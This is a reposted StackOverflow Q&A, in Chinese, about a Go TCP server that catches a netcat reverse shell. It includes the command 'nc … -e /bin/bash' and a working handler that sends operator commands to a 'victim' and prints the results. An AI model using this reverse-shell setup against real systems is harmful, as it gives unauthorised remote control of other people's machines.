当前位置: > > > > 如何捕获 netcat 反向 shell?
如何捕获 netcat 反向 shell?
来源:stackoverflow
2024-04-19 23:27:38
0浏览
收藏
哈喽!今天心血来潮给大家带来了《如何捕获 netcat 反向 shell?》,想必大家应该对Golang都不陌生吧,那么阅读本文就都不会很困难,以下内容主要涉及到,若是你正在学习Golang,千万别错过这篇文章~希望能帮助到你!
问题内容
我正在 go 中开发 tcp 服务器。 tcp 服务器需要能够捕获来自 netcat 的反向 shell:
$ nc 127.0.0.1 8080 -e /bin/bash
我应该能够发送命令并接收响应;但是,我的服务器在收到连接时似乎挂起。
我认为问题出在 bufio.newreader(conn).readstring(‘\n’) 行,但我不知道如何修复它。
您能提供任何解决方案吗,谢谢?
服务器代码(注意:为简洁起见,省略了错误处理):
func main() {
ln, _ := net.Listen("tcp", "127.0.0.1:8080")
for {
conn, _ := ln.Accept()
handleConn(conn)
}
}
func handleConn(conn net.Conn) {
for {
// Receive data from netcat victim
data, _ := bufio.NewReader(conn).ReadString('\n')
fmt.Println(data)
// Read command from Stdin then send to netcat victim
reader := bufio.NewReader(os.Stdin)
cmd, _ := reader.ReadString('\n')
fmt.Fprintln(conn, cmd)
}
}
解决方案
我在发布问题后立即解决了我的问题(天啊!)。 无论如何,解决方案很简单:反转读写逻辑。 之后,一切都按预期进行。
这是固定代码:
func handleConn(conn net.Conn) {
fmt.Println("Connection received.")
for {
// Read command from Stdin and send to victim
reader := bufio.NewReader(os.Stdin)
cmd, _ := reader.ReadString('\n')
fmt.Fprintln(conn, cmd)
// Receive input from connection
data, _ := bufio.NewReader(conn).ReadString('\n')
fmt.Println(data)
}
}
以上就是本文的全部内容了,是否有顺利帮助你解决问题?若是能给你带来学习上的帮助,请大家多多支持米云!更多关于Golang的相关知识,也可关注米云公众号。
